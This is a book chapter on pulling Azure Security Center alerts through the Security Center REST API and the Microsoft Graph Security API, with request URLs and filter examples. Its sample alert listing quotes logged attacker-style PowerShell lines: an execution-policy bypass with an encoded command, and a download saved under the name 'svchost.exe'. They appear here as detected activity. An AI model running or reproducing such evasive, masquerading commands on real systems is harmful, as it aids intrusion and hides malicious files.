Chapter 10
Accessing security alerts from API
Although Azure Security Center has its own dashboard where you can visualize all security alerts, there are some specific scenarios in which you may want to consume the alert via API. This is a common scenario among organizations that want to build their own dashboards and programmatically manipulate all alerts.
In this chapter, you will learn how to leverage the built-in Security Center Representational State Transfer (REST) API and the Microsoft Graph Security API to retrieve alerts using HTTP requests.
Understanding REST API
Representational State Transfer (REST) APIs are service endpoints that support sets of HTTP operations (methods), which provide create, retrieve, update, or delete access capabilities to the service’s resources. A REST API request/response pair can be separated into five components—three for the request and two for response—as shown in Figure 10-1.
The first part of the request is the request URI, which is the main address. This address has the following parts:
Structure: {URI-scheme} :// {URI-host} / {resource-path} ? {query-string}
Example: https://management.azure.com/subscriptions/XXXX/providers/Microsoft.Security /alerts?api-version=2019-01-01
The second part is the HTTP request message header, which is composed by required HTTP method, such as GET, HEAD, PUT, POST. Also, you may have other optional headers, such as authentication. The third part is optional, and it contains supplementary information that may vary according to the method that was used. For example, a POST method can contain MIME-encoded objects, which means you need to specify the Content-type request header as well.
The first part of the response is the HTTP status code, which can also vary according to how the backend is responding to this request. If everything is working properly and this is a successful request, you should receive an HTTP 200 status code. Also, the second field is optional, and it is there to support the main response, just as in the previous MIME-encoded example.
Accessing Alerts using Security Center REST API
Security Center has its own set of REST API that are divided in operation groups. The available groups are described below:
Alerts: These are security alerts on the subscription level.
Auto Provisioning Settings: These enable you to specify provisioning configuration for the subscription.
Compliances: This retrieves regulatory compliance information for the subscription.
Discovered Security Solutions: This retrieves the details about discovered security solutions.
External Security Solutions: This retrieves the details about partner solutions that are currently integrated with Security Center.
JIT Network Access Policies: This retrieves policies for protecting resources using Just-in-Time (JIT) VM access.
Locations: This retrieves details of specific locations.
Operations: This retrieves all available operations.
Pricings: This retrieves the pricing tier that is in use by Security Center.
Security Contacts: This enables you to configure the security contact information for the subscription.
Tasks: This enables you to visualize Security Center recommendations for the subscription.
Workspace Settings: This enables you to configure workspace-related settings.
As you can see, there are lots of operations that can be performed via API; this chapter is only focused on alerts. The Alert call via RESP API has many operations that can be performed, including getting alerts for a resource that is associated with a resource group or a subscription. To list all the alerts that are associated with the subscription, you can use the following sample:
https://management.azure.com/subscriptions/{subscriptionID}/providers/Microsoft
.Security/alerts?api-version=2019-01-01
The response for this HTTP GET Request should be an HTTP 200 Header, followed by the body in JSON format, as shown in Listing 10-1.
Listing 10-1 Response for HTTP GET Request
{
"value": [
{
"id": "/subscriptions/cf55bcd4-93d5-4cd0-913b-b4a7ecb1a170/resourceGroups/
contosocst/providers/Microsoft.Security/locations/centralus/alerts/2518493883079383726_1
d69063a-54f4-4771-9b96-ccfcac1cdd35",
"name": "2518493883079383726_1d69063a-54f4-4771-9b96-ccfcac1cdd35",
"type": "Microsoft.Security/Locations/alerts",
"properties": {
"systemSource": "Azure",
"vendorName": "Microsoft",
"alertDisplayName": "Suspicious Powershell Activity Detected",
"alertName": "SCUBA_PSINSIGHT",
"detectedTimeUtc": "2019-03-18T12:34:52.0616273Z",
"description": "Analysis of host data detected a powershell script running on
%{Compromised Host} that has features in common with known suspicious scripts. This
script could either be legitimate activity, or an indication of a compromised host.",
"remediationSteps": "Review with %{User Name} the suspicious script in this
alert to see if you recognise this as legitimate administrative activity. If not,
Escalate the alert to the information security team.",
"actionTaken": "Undefined",
"reportedSeverity": "High",
"compromisedEntity": "W2012READYDEMO",
"associatedResource": "/subscriptions/{subID}/resourcegroups/contosocst/
providers/microsoft.compute/virtualmachines/w2012readydemo",
"subscriptionId": "XXXX",
"instanceId": "XXXX",
"extendedProperties": {
"compromised Host": "W2012READYDEMO",
"user Name": "W2012READYDEMO\yuri",
"account Session Id": "0x871a4",
"suspicious Process": "c:\windows\system32\windowspowershell\v1.0\
powershell.exe",
"suspicious Command Line": "powershell -nop -exec bypass -encodedcommand
"cabvahcazqbyahmaaablagwabaagac0aywbvag0abqbhag4azaagaciajgagahsaiabpahcacgagaggada
b0ahaacwa6ac8alwbkag8adwbuagwabwbhagqalgbzahkacwbpag4adablahiabgbhagwacwauagmabwbtac
8azgbpagwazqbzac8auwb5ahmabqbvag4algb6agkacaagac0atwb1ahqargbpagwazqagagmaogbcahqaz
qbtahaaxabzahyaywboag8acwb0ac4azqb4aguaiab9acia"",
"suspicious Process Id": "0x544",
"suspicious Script": "powershell -command "& { iwr https://download
.sysinternals.com/files/Sysmon.zip -OutFile c:\temp\svchost.exe }",
"resourceType": "Virtual Machine"
},
"state": "Active",
"reportedTimeUtc": "2019-03-18T12:35:28.5727441Z",
"workspaceArmId": "/subscriptions/XXXX",
"confidenceScore": 0.494,
"confidenceReasons": [
{
"type": "Process",
"reason": "Suspicious process powershell.exe triggered this alert on
multiple machines in this subscription"
},
{
"type": "Computer",
"reason": "This alert was triggered multiple times on machine W2012READYDEMO
in the last 24 hours"
},
{
"type": "User",
"reason": "User DWM-1 was involved in multiple alerts on machine
W2012READYDEMO in the last 7 days"
}
],
"canBeInvestigated": true,
"isIncident": false,
"entities": [
{
"$id": "centralus_1",
"dnsDomain": "",
"ntDomain": "",
"hostName": "W2012READYDEMO",
"netBiosName": "W2012READYDEMO",
"osFamily": "Windows",
"osVersion": "Windows",
"isDomainJoined": false,
"type": "host"
},
{
"$id": "centralus_2",
"processId": "0xe18",
"commandLine": "",
"host": {
"$ref": "centralus_1"
},
"type": "process"
},
{
"$id": "centralus_3",
"name": "yuri",
"ntDomain": "W2012READYDEMO",
"host": {
"$ref": "centralus_1"
},
"sid": "S-1-5-21-4137702330-132450196-3277483117-500",
"isDomainJoined": false,
"type": "account",
"LogonId": "0x871a4"
},
{
"$id": "centralus_4",
"directory": "c:\windows\system32\windowspowershell\v1.0",
"name": "powershell.exe",
"type": "file"
},
{
"$id": "centralus_5",
"processId": "0x544",
"commandLine": "powershell -nop -exec bypass -encodedcommand
"cabvahcazqbyahmaaablagwabaagac0aywbvag0abqbhag4azaagaciajgagahsaiabpahcacgagaggadab0
ahaacwa6ac8alwbkag8adwbuagwabwbhagqalgbzahkacwbpag4adablahiabgbhagwacwauagmabwbtac8az
gbpagwazqbzac8auwb5ahmabqbvag4algb6agkacaagac0atwb1ahqargbpagwazqagagmaogbcahqazqbtaha
axabzahyaywboag8acwb0ac4azqb4aguaiab9acia"",
"elevationToken": "Default",
"creationTimeUtc": "2019-03-18T12:34:52.0616273Z",
"imageFile": {
"$ref": "centralus_4"
},
"account": {
"$ref": "centralus_3"
},
"parentProcess": {
"$ref": "centralus_2"
},
"host": {
"$ref": "centralus_1"
},
"type": "process"
},
{
"$id": "centralus_6",
"sessionId": "0x871a4",
"startTimeUtc": "2019-03-18T12:34:52.0616273Z",
"endTimeUtc": "2019-03-18T12:34:52.0616273Z",
"type": "host-logon-session",
"host": {
"$ref": "centralus_1"
},
"account": {
"$ref": "centralus_3"
}
}
]
}
},
{
As you can see, there is a lot of information that can be consumed when retrieving an alert via REST API. While Security Center security alert dashboard provides important details about the alert, the REST API brings a different perspective to consume the same set of data.
Accessing Alerts using the Security Graph API
The Microsoft Graph (graph.microsoft.com) is a unified interface to access information from Microsoft online services, such as Azure Active Directory, Office 365, and others. The Security Graph API is based on Microsoft Graph, and can be defined as a unified REST API for integrating security products.
When you make calls to the Graph Security API, they will be federated to all supported Microsoft security products, services, and partners. The results are aggregated in a common schema, which makes correlating alerts from multiple data sources easier. The idea is that when you connect and enrich the alerts, you will be able to easily understand the scope and impact of an attack.
Simplify integration with Microsoft Graph Security API
Today, most organizations rely on a collection of security tools to manage and respond to cyber threats. This can include ticketing, investigation, and automation systems, among others. By integrating Azure Security Center with these tools and workflows, you can streamline security operations and improve threat response.
The Microsoft Graph Security API provides a unified interface and standard schema for integrating security solutions from Microsoft and its partners. By connecting to one endpoint with one authentication key, organizations can greatly simplify alert management. A single call to the Microsoft Graph Security API returns alerts from Azure Security Center, Azure AD Identity Protection, Azure Information Protection, Microsoft Cloud App Security, as well as Microsoft Threat Protection solutions, such as Office365, Windows, and Azure Advanced Threat Protection. Organizations can also use the Microsoft Graph Security API to update the alert status. For example, when you close an Azure Security Center alert in an integrated application, it will show as dismissed in Azure Security Center.
Organizations can connect to the Microsoft Graph Security API directly via the API or using PowerShell scripts. Connectors from Azure Logic Apps, Microsoft Flow, PowerApps, and Power BI provide code-free options for automation and reporting. Samples for Azure Notebooks offer an easy way to analyze alert data in Jupyter notebooks. Also, SIEM integration via Azure Monitor is supported.
Visit https://aka.ms/graphsecurityapi to learn more about leveraging the Microsoft Graph Security API to integrate Azure Security Center alerts with your security tools and workflows.
Sarah Fender, Principal Group PM Manager, Graph Security API team
Figure 10-2 shows a representation of the different components that can be used with the Graph Security API.
Looking at this diagram from the top, you see that the apps on top are basically consuming the data. You can create your own app to consume data from the Microsoft Security products, located in the third layer (Security Providers). The intermediate interface (Microsoft Graph) is where the Security Graph API is located. Notice in this layer, the Graph Security API has many capabilities other than retrieving alerts, including setting actions to alerts. These options are beyond the scope of this chapter, but if you want to learn more about the use of Graph Security API, visit https://aka.ms/graphsecuritydocs.
After reviewing this diagram, you can also say that the Security Graph API is an intermediary service (or broker) that provides a single programmatic interface to connect multiple security providers (Microsoft and Partners). When planning to build your own app to use the Graph Security API, make sure to cover the following points:
Register your app with Microsoft Graph: Log in to portal.azure.com to add the app to your Azure AD tenant.
Specify permissions and secrets: You can use Delegated if your app accesses the API as signed-in user, or you can use Application if your app has its own Role Base Access Control (RBAC).
Write your code: You can start by leveraging the sample codes at http://aka.ms/graphsecurityapicode
Get consent from the organization using your app: In this step, the Azure AD Admin needs to grant consent for the organization (tenant) to use the app.
Using the Security Graph API
The Security Graph API is accessible through the Microsoft Graph; in other words, it uses the single point of connection (https://graph.microsoft.com) with the same syntax REST API and response in JSON format. Security data accessible via the Graph Security API is protected using permissions and Azure AD (AAD) roles. To retrieve alerts from Security Center using the Security Graph API, you need to use the HTTP GET request similar to the example below:
https://graph.microsoft.com/v1.0/security/alerts
One important aspect of this GET request is that it will retrieve all alerts from the service providers that you may have in your tenant, which includes Azure Security Center, Azure Active Directory Identity Protection, Microsoft Cloud App Security, Windows Defender Advanced Threat Protection, Azure Advanced Threat Protection, Office 365, Cloud App Security, Azure Information Protection (preview), Azure Sentinel, and other partner providers to which you may have access, such as Palo Alto Networks.
Depending on the amount of service providers that you have, the amount of data that returns with a simple GET request for all alerts can be substantial. It is a good idea to use filters to target the information that you really want to see. For example, if you want to see only the top 10 high severity alerts, you can use the GET request below:
https://graph.microsoft.com/v1.0/security/alerts?$filter=Severity eq 'High'&$top=10
The part of the URL in bold represents the filter that was created to retrieve only the information that you needed. If you want to validate your GET request before you start writing your own app, you can use the Microsoft Graph Explorer (https://developer.microsoft.com/en-us/graph/graph-explorer) to test the URL. For this example, you would get a result that lists the top 10 high-severity alerts. While this filter helps, it will still show the top 10 high-severity alerts for all security providers to which you have access. If you want to see only alerts generated by Security Center, you can filter by the vendor provider by using the vendorInformation property, as shown in the example below:
https://graph.microsoft.com/v1.0/security/alerts?$filter=vendorInformation/provider eq 'ASC'
If you use Microsoft Graph Explorer to run this GET Request while logged in to a subscription that has Security Center on it, this request will retrieve only alerts where the security provider is Security Center (see Figure 10-3).
You can also use logical operators to expand your query. For example, if you want to see only high-severity alerts generated by Security Center, you can use the following GET request. (Notice the addition of the bold strings.)
https://graph.microsoft.com/v1.0/security/alerts?$filter=vendorInformation/provider eq 'ASC' and Severity eq 'High'